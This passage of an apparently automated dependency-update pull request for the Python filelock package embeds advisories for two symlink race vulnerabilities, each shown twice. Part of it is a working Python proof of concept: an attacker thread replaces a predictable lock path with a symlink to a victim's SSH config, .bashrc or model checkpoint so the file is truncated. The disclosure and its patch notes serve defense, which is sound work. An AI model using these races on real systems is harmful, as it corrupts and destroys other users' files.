**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.31.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.1)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.0...3.31.1)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.1 -->

#### What's Changed

- ♻️ refactor(coverage): key exclusions on probed capability by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#679](https://redirect.github.com/tox-dev/filelock/pull/679)
- scope a lease's claim to the context that acquired it by
[@&#8203;dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#680](https://redirect.github.com/tox-dev/filelock/pull/680)

**Full Changelog**:
<tox-dev/filelock@3.31.0...3.31.1>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNTEuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI1MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 21, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.31.0`
→ `3.31.1` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.31.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.31.0/3.31.1?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
